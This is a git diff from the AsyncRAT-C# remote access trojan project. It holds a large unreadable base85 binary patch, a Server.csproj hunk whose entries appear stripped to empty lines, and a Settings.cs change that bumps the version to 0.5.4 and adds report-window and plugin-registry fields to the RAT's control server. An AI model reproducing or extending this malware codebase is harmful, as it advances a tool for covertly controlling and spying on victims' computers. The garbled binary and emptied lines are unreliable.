z|LpT6+ldp!RF79fguGj1)IU7Vyras;rP`T$TmRa?OPv_1zI-(A#a!ygIQlmhx<%W< zb?mOmlloHGLKM+V=9%iu`Ns>Oxt~97mDgLXr|D8OK$yj_th3zw4NPjc)|eCaQ?^y5 zJn7*LjwGk$a!AT|I5#dKt!)ugu6ECsJ#gu++C5jcm1gsEw1zS#2`^sWVSRfsfRKB5 z#&zX$JT@Dh#=j+uCQ%*lzXi=(F`CwYT_FY#Xqx#Onq6nz5~jopseaduq}VCD&?rRYT$u z+e+biwOdZIjq2U3@d`+5s*f5|6eq80QMJ^yQV#GPQP#BX>qr$3Xjyf{NZGGCnp|Hv z_f0%?;z{AtdcVx!=zX#oWaIHy+!9kVUUsBHZb|2xxSRKNwQS5O2b|*5U0a6cWO+}T znfoR`h?%e<9DB9$b11^aW;AyHXNsq9dXGd}saZy)Wj`!br4*v=NV|rf5zeMEtG34p z#h-2RRK8+()Fs93L&T&9*B8EDj>=TOhUD-m*M#&s^F5b1y0Ga&X{(ND56owqd6J8g z~?@Rj@BO}VEkWI;hu)pHiF0p^}=<&n7walfz>(y?q$P%{At3{Wd>2}{r zTh6G(`riqm&`7zmWP5q*J@02zPOiHb8EXx4Y`88F%|}gwe4^eXQMZ5X`{v+cm6_9J_O>1h0^TB7r+_i$itGGU+2R!*| zp1obVslD2Zf(CaeOK7bQtf*nW#z=n~W-OF$`Vbu}9M&>-L{S(`2T^UD|8@+`vwSt1 zhv&B1Wa;g7U-sLwTnPSBO<}bCwC*%{*^H?H+KT$u_(CFEFKW>ET|v}&JO70EKHb#? zS{f0wc0>OmxjfH(?^oGM1&$eae>dSnB*arN_9D3IE>=;f_eHTcI-SzElD|{VC7j8< zPpmtU7`THqHF03?nXnqq>fHEEZ;=1B?O55J1AVdMT#-VzEiYAi$Vd?i9h-{328ISd zek(d!vXrFcID7E;P~;mGZtN*JEB*40FsizA!O=IYDVvz9)71_A;CI61EVWj2FF%Lg zHnr$8N~54R0Et}AJI1lf0q7m z5vN7mfwD5Q?8ClxGm!P?>h`cJ4qDJBcFDKr`zf94G7goeP%+ZKVLSdRq3ySG3mKoM z=Ao+8Wjfx)n{#5;nhBozWL5gdjJ=`Ej>^`h;k;9zXbnL?iW;$}Q?sCVx9>afk@oV>U-P8)No`%TWnA>7>Ly+L%ZQfbamTWb`;JTEWw(AV^^ElNqBTA< zG4h=XQ{`I>ex-0N`pMxB2LwzisLIMHe27i>@FSCgty|t)V}zl_7UfuaZ^sRWmw5#p zbhKCAs*CH(WSR42f9@XYsV&VTChLo9E;I(7gDlr?EpG6dB>E$2JZ0(+++gYGJUT!d z*&XcAEda$7AJug^dM+;R=nRGC;Q^(hq`l;Pv`VYa^z3iN;^W~6Mc;N`>BEB z3|(ZXjln`hY@q|0q7>&N{@~GUgZ=GFzm<#5jC@42=uVdZ`kEeA&G;LU(cQ%>{AJa3 zCsJ_5?OhcvQMM+r)mZa6dI)(;%Znr3a& zrt9`Nrl)@LaZ*P?+egJr7jeakhKfq*iW{%RUo+j+cXtN|}*ri#C(S3hxW$Xw;#q=}4rY^c3me5hgjQ@pX_&-SjJr%SodmiZr) zEr0cH_q56j@U5}^l+ymoiI%;pe&!(IyOS2sNUC>R{*})O<9nraS zujIS(*Mx~Y|IpBykXtMF>{T3!B{I6a<4v_13Jz-3e^(nge~U>)DW!g<_XZmx;z*4| z&L>IYDFuf>$>$P$oA+n(=r0E1 z+f;tuiA81~u$>AL_33pq4U{ZG)$i5w2bp{BjLToEX_oc0dT?YRK;r#&tek)t6Mm_@ z<}RmNVcS^6k8%aEDa)|OG54D(8xqq-pV3HNG#!0L*4`O4+_SH5iSL_LYE}D%35Pk_ z-bJ}S|EOP)r@6J;d;A+to|XlXqbcs|-HIw$*qNOzQ_!>i6xqx5>+5RT(`|5&p1Rp- zbp(9082ErQ>7Za4aY=D$Nogr?LLhuHrVoJr;0!PRNC+AQ*KBZ_9KTs00q5sIge5}3 zQEj1cxrG_D$i90{Fu#t4E;xt}f;hmrxWER#x(|G)8R-K~@uRllLZYc)lfMzt5KAk` zx&k1<>0}TM_=00dN$1ny!4=5E=U2jKw2^SQ8Y~C%A&8A^*K-Ppp6Waq1++-60Z!sP zgoGhG1q@SBFyDq6#@`@dI7O)eF+f`6IB>RNBRO1}0-T|MT&ZD551l8Yg?^K-P*6ii z@*5}?Xp77O@P|Dhf!ARzOP<&7ya0lY*8!!;zV=M#AtIR*5a>Jord zNEns?Z4}T;lF$BR8bFUdnFQc_k#H{rjHi%%n4^$KQ9w#)Se_FN*R6qI&K(Mvqk=p_ zNdY}2!9fzVMXpecK+Yi06p$a15|n0tCII1E5P!9R3RCs`*MIlz!m3^;;T z9KB2JgQ5YYMqvQ@ha5gz5PaOh8FAzwVyw_{h=S|};y5Hj4Z~6d4AlWn53QrJ06d4t z1@IkZA%HJQummbWm__rG-vH16x`8m}fipjmmb+IyGHGYpn%8( zcd1s?Ymko)Br1Vzf}#VQs)^k#BYB2~F7HW3qRJ3x==L73 z?olVmRFM0iroSjN-9s@#%m70`6QBnX5E_hI1oR#Zmp`zcgsYKcYDqFeU{E0-77}y?rAWvZ3^fGw zog`UH33GN!L&#wMI}+z5fS@|5)=hA%AQC!(qKD9EUNDvpA_W1or4j|ugjy1u78;L| zg@mAAXn9BqT0*M;$V{yX$wNOVPm}m20EhXy&?}S;z){o=fFDZjO2Tmv26{~q2H8Nt zR1pAfBjW(1L?r<|Wt15}Qh_Q5ND84G04JTqiA3i?0pMKarvMtFVe39XTNw0~>^T$z z!9AD+eMGzl_yedH@C7Lbp;Rc3Yz*+lsa^wlHN-T)Dam2{7kUbDjva(h(}!{$)qBvNY;4~!w6YO9`Tgy1wtN?NcjpOgjh%PA*4urA;<+i1n^1n zDPT<=`4hm~&<>Cpq2fmhLElk%kPt$hObBTLEJ`A6NOpA*W#kG-96}1&0oINUNtR|D0=|CQCI+pC~pA6QK6`FkRFO0 z#R>&Nm!V>)5^99jAX5Yp@f7g`L66i%IwJ#+rAS^x8j>1ObFNmi0iuI{q%7zkT1~{Pw)YVu}_c(&d91AXY0B>lzeDV(a64u@+|P+Q1Zq+w+)2?Aa&b z?ri&)5tfD8Pq)r3Eux`F;7;9P=0ktWt9$ioA6`fna^(h^6+{flRgAplF-1Yj}* zPw@U*_>V`h^Ojfw9Js#=cbkiWbJP^;g9#;JaCYojHx2R&1fhb(K#>d12NxLjcd2?9 zaL}9(20~+r@d?60W`7}=U@U}jb94G*-4sj2`v9H+9spfGT;OgV{K*n?PdJG|mP1;8 zu6Po%mp^+Ri0`=$i@-^tjv-=?%k1usA&uRjn&bCq;Ljemr(|ykLBMs8A*3V&u|0($ zdP2lNf;paqfm)<12&2>AsbY)?^n^g;JxLv@kM;8asFt4_(FzBUzmiTL3?b02-P|`P zVBE027=rhI4pDf_kj5f#4~y|7jmSL|SU14<;oLzM!LfoCm>+S=xcaJi_`r-*; zdjxS;4V>h(8EbRQlJS&-Q9>;q|#h8hVq13lq`C7}i&{5TQ@8u4e0z~R9M z1p+--KRD+gZM<99UMK$PbzLKIIJ5SKGwhZR&Xtscq;ae3=js#Wh9!*v5L!IJcel(9 z#0clNi|=)?4!G@sCzgLPO+nyxCqf9s3;6r@Ttw1uj3XuJC*X*1 zi}C(p=J>rhk%lhp2}ByuBjNYXHvvG>#Q+b6FChPn zEgZ(f53C$GSK=SmpD{~XT=4#TZTK(6yOR%=@K-s!O2G-LK6z`GjJbN{1a6p zQbvP{q5eL20+#THhLwYHOn|GA)>?uw23|ElKkq6qhbIav48ad}PK~HVAmINY44ehS z9af7Yf(tMWMl1x6exsm3|DZtFBfv0n@dB}ir2-*yygohzOVITT27?OY7YO$fJgu7I z@t~$3NV7m#PcVEn#D)g`Nh5O@huzgB!kG~UffRQo?M2kX;MoK+0$T^OAQwGs*k2)l zaZ{`Z@Qn}#<9kVJ23CGB8-|JRjw%lV#@`bbBrQsRItb7hH&VMm%l~2mXLnbFe=^}f z@3!|ZIe4akf`~4EG7k6z2NL@)`k$l~Sf>9jgd<4&n}nMU$LDX(pH@M5eQYfVmG)xX_ z3w}T|7U0nSQ$X4c{Jl zIOYoUn1Y%%;A#MFg`(ECq4aD3r-!FG4!4)>E6@LOk3 zKTI2t;wc3*T7n-#pu?OLUvH9~P{4=v5P>yafT@9e&;>rIgZ|%bC)}T~p56S=-s>L& zAP2`$e$Ov;pxK7xcM!>M*!zF#`?vl-b~J!qNf1{*QfvQ~|7SUzN4Pz|{^sxc`G@}R z@=A-;Zf&3&&U5)a|KWazADYNQCVP3Yn+JxVTpz^ZPdrbPdP)n}#eqJx0I`S1iw?ki zK)Z0j-~S!_vIOz-1mn^Qii9izpf|$*KP9o5Q1$x9mD}2BYB&!DEq5)}=W)K}Pu5>{* z>48i$01-9<5i$WI*9?qE3(!Iknu~!7%|JyCK>#7+f#~;x1rZ4l26}+dl0!&Z zT3Rv)fdnXmfu5EELLzACc_|?>z^A1JT3{IjEewGu1%v`P60p%^ln4ef6a|AA1rL%z zj27rbaMF_V09j5-N-{25G+YP41t1R+5TF>c6eR))+mxq;H7UWU5-sov z0fgX62nJnH31Tpy1UeZE=uKcfB%QQeur?q>NlwdP!OUO-^XVPPAcz42)Nql*wQ0G? zK?O7#4cPP!6uVNeDn^JA0aqsl!53g?S}H&?GXw!OXwa4j1`94)8cGUUhUgdu92$)R zPN9Ju3QYl=ijG0S4x(u&$+^e@#YK(=hG3(hlnd~HB#0A9k`_q;emN<3tt0oYfCXM! zA%ObS{UA^b(bv)7%MhIjI*B1Vhk^%mRrGao(Ddj`G=u_P(MR7Qk*R19q+L-;Brr_L zg90Ye@D&YT!6A~Mya4>tQv%B{ur2IO`uL96uk|2F_85{{};0=&~djt*u zk`ba~MC^l*fVUT1&_i70APm%$aCiZq4upq<>{{Uh@1{_2z5ovZ2Mz;}Bw_X72{jhtPfX@kw!#T%Ehun)22qy3V#2CQ|w87=z7c`$fx_MVSCqr}tsDh?Lqv3Sp zWCM)?wmL{}5ou*fGb21Z!e83miSiE#w-${C?@{3Ast`B)BFr4gVgmP zBX9$RfYs7Rj{$KcNt_%3U-ls&N-6Mm75qRD76A!~8)}*V^=wRZ?*?57egi8CZYtct zy`7SV4-VWL16#CAe@Vhm>3lF@@SWQsSOw2tB|I`byA^o$>XWQPMppA1Fa|s03%;K! z!8aY|{QZI7um1U%WI&LqnWovilQ=~hVMp`Xc$@-)PHG))g@%GXd<#yrH`K7-y+^et zV8L@u``!EZy+@e;LE&Az?7@>fEOY%It3m=v{ z1-{lz5ahO-AutQzG5}hFh0O^-Ez%OF3zj=WKaF~BQB0O3s*1hxzC?U)D2XER_AUb5j0f(2-& z%io(0@MZ}1Q6H3gkTht3*!Y9(3GAf@*x-SCLXv;RBzs1Cd^i%Yy+3V(ssC?wWk~Hc z2Ksh4g08^Qf42HR+bl<_qXt?4Z#{fLJA8nrJpaRbpb7u?^S>H_(%pY6Q!4wvs_6gL J|35JT{|_33Py+w} diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj index 3079ef3..0d6f1b4 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -82,6 +82,7 @@ + Form @@ -186,6 +187,7 @@ FormWebcam.cs + @@ -323,12 +325,7 @@ - - - - - diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index c0d54e5..52e96ff 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -15,9 +15,13 @@ namespace Server public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.3"; + public static readonly string Version = "AsyncRAT 0.5.4"; public static object LockListviewClients = new object(); public static object LockListviewLogs = new object(); public static object LockListviewThumb = new object(); + public static bool ReportWindow = false; + public static List ReportWindowClients = new List(); + public static object LockReportWindowClients = new object(); + public static Dictionary Plugins = new Dictionary(); } }